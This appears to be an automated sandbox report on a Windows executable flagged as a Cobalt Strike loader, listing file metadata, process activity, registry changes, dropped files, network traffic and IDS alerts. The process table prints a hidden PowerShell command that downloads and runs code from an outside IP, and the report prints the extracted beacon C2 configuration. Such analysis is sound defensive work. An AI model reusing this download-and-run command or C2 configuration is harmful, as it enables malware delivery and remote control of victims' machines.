| File name: | 2d7da0e32ac4bde3fed1e1307a10afef.exe |
| Full analysis: | https://app.any.run/tasks/2588a23a-198b-49ab-bf7b-598c9716a039 |
| Verdict: | Malicious activity |
| Threats: | Cobalt Strike is a legitimate penetration software toolkit developed by Forta. But its cracked versions are widely adopted by bad actors, who use it as a C2 system of choice for targeted attacks. |
| Analysis date: | May 25, 2023, 16:57:08 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | 2D7DA0E32AC4BDE3FED1E1307A10AFEF |
| SHA1: | 4A808ABEF733F5539306F4D8EB4B1AD10273A8F2 |
| SHA256: | B6EB73DA6C308532E9F160BCD06BDA91799DE0CAC7A282FF1F404F23CA6B694F |
| SSDEEP: | 24576:yNQzQp+j647BqemTyAPei0j/yDDjm+E2e:yN2njEjTyzi0T |
| .exe | | | InstallShield setup (36.8) |
|---|---|---|
| .exe | | | Win32 Executable MS Visual C++ (generic) (26.6) |
| .exe | | | Win64 Executable (generic) (23.6) |
| .dll | | | Win32 Dynamic Link Library (generic) (5.6) |
| .exe | | | Win32 Executable (generic) (3.8) |
| Subsystem: | Windows GUI |
|---|---|
| SubsystemVersion: | 4 |
| ImageVersion: | - |
| OSVersion: | 4 |
| EntryPoint: | 0x75f25 |
| UninitializedDataSize: | - |
| InitializedDataSize: | 364544 |
| CodeSize: | 610304 |
| LinkerVersion: | 6 |
| PEType: | PE32 |
| ImageFileCharacteristics: | No relocs, Executable, No line numbers, No symbols, 32-bit |
| TimeStamp: | 2023:05:22 01:22:05+00:00 |
| MachineType: | Intel 386 or later, and compatibles |
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 22-May-2023 01:22:05 |
| Detected languages: |
|
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000F8 |
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 4 |
| Time date stamp: | 22-May-2023 01:22:05 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x0009480A | 0x00095000 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.60647 |
.rdata | 0x00096000 | 0x00014D54 | 0x00015000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.73282 |
.data | 0x000AB000 | 0x0003DD88 | 0x00018000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 4.99481 |
.rsrc | 0x000E9000 | 0x00005758 | 0x00006000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.26118 |
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.07695 | 461 | UNKNOWN | UNKNOWN | RT_MANIFEST |
2 | 2.18858 | 296 | UNKNOWN | Chinese - PRC | RT_ICON |
3 | 2.45415 | 296 | UNKNOWN | UNKNOWN | RT_ICON |
4 | 2.84053 | 744 | UNKNOWN | UNKNOWN | RT_ICON |
5 | 2.61843 | 1640 | UNKNOWN | UNKNOWN | RT_ICON |
127 | 1.4183 | 12 | UNKNOWN | Chinese - PRC | RT_MENU |
150 | 3.06278 | 152 | UNKNOWN | Chinese - PRC | RT_DIALOG |
286 | 3.5561 | 378 | UNKNOWN | Chinese - PRC | RT_DIALOG |
554 | 3.78697 | 250 | UNKNOWN | Chinese - PRC | RT_DIALOG |
1031 | 3.67246 | 584 | UNKNOWN | Chinese - PRC | RT_BITMAP |
ADVAPI32.dll |
COMCTL32.dll |
GDI32.dll |
KERNEL32.dll |
OLEAUT32.dll |
SHELL32.dll |
USER32.dll |
WINMM.dll |
WINSPOOL.DRV |
WS2_32.dll |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2428 | "C:\Users\admin\AppData\Local\Temp\2d7da0e32ac4bde3fed1e1307a10afef.exe" | C:\Users\admin\AppData\Local\Temp\2d7da0e32ac4bde3fed1e1307a10afef.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 2588 | powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://1.13.17.173:1234/a'))" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | 2d7da0e32ac4bde3fed1e1307a10afef.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
CobalStrike(PID) Process(2588) powershell.exe C2 (1)1.13.17.173/IE9CompatViewList.xml BeaconTypeHTTPS Port2020 SleepTime60000 MaxGetSize1048576 Jitter0 PublicKey-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCAfAz1adzJcOJzBCEW22UjsHhE
TCLvfBUnSf7kD0o463e2zM3625RQcmAlqNIbUhYuPa8cOUtqtCMxagh0P8fGup4P
6jv6CHHg3EeLbi8xxuPoq2bo5f1N8Si0+8nRugPT/knJOurUisE/Ul/FNieb1cyn
xO9nwtdotyL4Ztsf3wIDAQAB
-----END PUBLIC KEY----- DNS_strategyround-robin DNS_strategy_rotate_seconds-1 DNS_strategy_fail_x-1 DNS_strategy_fail_seconds-1 SpawnToaaefb3b14bfda6031e4089e393093c58 Spawnto_x86%windir%\syswow64\rundll32.exe Spawnto_x64%windir%\sysnative\rundll32.exe CryptoScheme0 HttpGet_VerbGET HttpPost_VerbPOST HttpPostChunk0 Watermark1234567890 bStageCleanupFalse bCFGCautionFalse UserAgentMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; MAAU; NP08) HttpPostUri/submit.php HttpGet_Metadata SessionId (2)base64 header: Cookie HttpPost_Metadata ConstHeaders (1)Content-Type: application/octet-stream SessionId (1)parameter: id Output (1)print bUsesCookies0001 Proxy_BehaviorUse IE settings tcpFrameHeader0004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 smbFrameHeader0004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 KillDate0-0-0 bProcInject_StartRWXTrue bProcInject_UseRWXTrue bProcInject_MinAllocSize0 ProcInject_PrependAppend_x86000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000... ProcInject_PrependAppend_x64000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000... ProcInject_Stub30c0eee4f63e95d41b02a2c1da5d509c ProcInject_AllocationMethodVirtualAllocEx | |||||||||||||||
| (PID) Process: | (2428) 2d7da0e32ac4bde3fed1e1307a10afef.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings |
| Operation: | write | Name: | ProxyEnable |
Value: 0 | |||
| (PID) Process: | (2428) 2d7da0e32ac4bde3fed1e1307a10afef.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections |
| Operation: | write | Name: | SavedLegacySettings |
Value: 460000008B000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (2428) 2d7da0e32ac4bde3fed1e1307a10afef.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (2428) 2d7da0e32ac4bde3fed1e1307a10afef.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (2428) 2d7da0e32ac4bde3fed1e1307a10afef.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (2428) 2d7da0e32ac4bde3fed1e1307a10afef.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (2428) 2d7da0e32ac4bde3fed1e1307a10afef.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (2428) 2d7da0e32ac4bde3fed1e1307a10afef.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (2588) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\14C\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2428) 2d7da0e32ac4bde3fed1e1307a10afef.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\14C\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2588 | powershell.exe | C:\Users\admin\AppData\Local\Temp\vqltrh2k.o4h.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2428 | 2d7da0e32ac4bde3fed1e1307a10afef.exe | C:\Users\admin\AppData\Local\Temp\Tar8EA7.tmp | binary | |
MD5:4FF65AD929CD9A367680E0E5B1C08166 | SHA256:C8733C93CC5AAF5CA206D06AF22EE8DBDEC764FB5085019A6A9181FEB9DFDEE6 | |||
| 2588 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2KMVFKYHB9OSNOG94U35.temp | binary | |
MD5:0D49E173FDD8F6EA4DF63784B77CCC21 | SHA256:3272DB7ECA23497C130DB1DDAA385AEF54E7B40DC47D2E4BEC85D35B4AD5861F | |||
| 2588 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:0D49E173FDD8F6EA4DF63784B77CCC21 | SHA256:3272DB7ECA23497C130DB1DDAA385AEF54E7B40DC47D2E4BEC85D35B4AD5861F | |||
| 2588 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1c555b.TMP | binary | |
MD5:C081C5AACE808AA38DCA32EA0F0E45CB | SHA256:A47109CAA91DCF604B84EA9DDACBA3A7B40D5560D6FAF73AA1DFC58175C4A809 | |||
| 2588 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:C62CA629AC6309F56AA6584D01CEF7E2 | SHA256:5A1C88372C4D229D51F6FC1E3F2808A09F5FBB0027C911A8C7E9CFCC35D711B2 | |||
| 2588 | powershell.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 | binary | |
MD5:69A0CAF8C68E49ECED0D07E31F8A30F5 | SHA256:868B22D99FBEE84F130BE22C53E6BB70CAA595868149D698FDA6E423933935C4 | |||
| 2588 | powershell.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 | compressed | |
MD5:3AC860860707BAAF32469FA7CC7C0192 | SHA256:D015145D551ECD14916270EFAD773BBC9FD57FAD2228D2C24559F696C961D904 | |||
| 2588 | powershell.exe | C:\Users\admin\AppData\Local\Temp\vcqdzmls.jae.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2428 | 2d7da0e32ac4bde3fed1e1307a10afef.exe | C:\Users\admin\AppData\Local\Temp\Cab8EA6.tmp | compressed | |
MD5:3AC860860707BAAF32469FA7CC7C0192 | SHA256:D015145D551ECD14916270EFAD773BBC9FD57FAD2228D2C24559F696C961D904 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2588 | powershell.exe | GET | 200 | 1.13.17.173:1234 | http://1.13.17.173:1234/a | CN | text | 190 Kb | malicious |
2428 | 2d7da0e32ac4bde3fed1e1307a10afef.exe | GET | 200 | 8.253.145.120:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?d322d33601f37ed9 | US | compressed | 62.3 Kb | whitelisted |
2588 | powershell.exe | GET | 200 | 8.253.190.121:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?477e7a04e0f5fbb5 | US | compressed | 62.3 Kb | whitelisted |
2428 | 2d7da0e32ac4bde3fed1e1307a10afef.exe | GET | 200 | 8.253.145.120:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?906360da05274449 | US | compressed | 62.3 Kb | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
2428 | 2d7da0e32ac4bde3fed1e1307a10afef.exe | 1.13.17.173:2020 | — | Shenzhen Tencent Computer Systems Company Limited | CN | malicious |
328 | svchost.exe | 224.0.0.252:5355 | — | — | — | unknown |
2588 | powershell.exe | 1.13.17.173:1234 | — | Shenzhen Tencent Computer Systems Company Limited | CN | malicious |
2588 | powershell.exe | 1.13.17.173:2020 | — | Shenzhen Tencent Computer Systems Company Limited | CN | malicious |
2428 | 2d7da0e32ac4bde3fed1e1307a10afef.exe | 8.253.190.121:80 | ctldl.windowsupdate.com | LEVEL3 | US | unknown |
2588 | powershell.exe | 8.253.190.121:80 | ctldl.windowsupdate.com | LEVEL3 | US | unknown |
2428 | 2d7da0e32ac4bde3fed1e1307a10afef.exe | 8.253.145.120:80 | ctldl.windowsupdate.com | LEVEL3 | US | suspicious |
2428 | 2d7da0e32ac4bde3fed1e1307a10afef.exe | 8.248.95.254:80 | ctldl.windowsupdate.com | LEVEL3 | US | suspicious |
2588 | powershell.exe | 8.248.95.254:80 | ctldl.windowsupdate.com | LEVEL3 | US | suspicious |
Domain | IP | Reputation |
|---|---|---|
ctldl.windowsupdate.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
2428 | 2d7da0e32ac4bde3fed1e1307a10afef.exe | Targeted Malicious Activity was Detected | ET HUNTING Suspicious Empty SSL Certificate - Observed in Cobalt Strike |
2428 | 2d7da0e32ac4bde3fed1e1307a10afef.exe | A Network Trojan was detected | ET MALWARE Meterpreter or Other Reverse Shell SSL Cert |
2588 | powershell.exe | Targeted Malicious Activity was Detected | ET HUNTING Suspicious Empty SSL Certificate - Observed in Cobalt Strike |
2588 | powershell.exe | A Network Trojan was detected | ET MALWARE Meterpreter or Other Reverse Shell SSL Cert |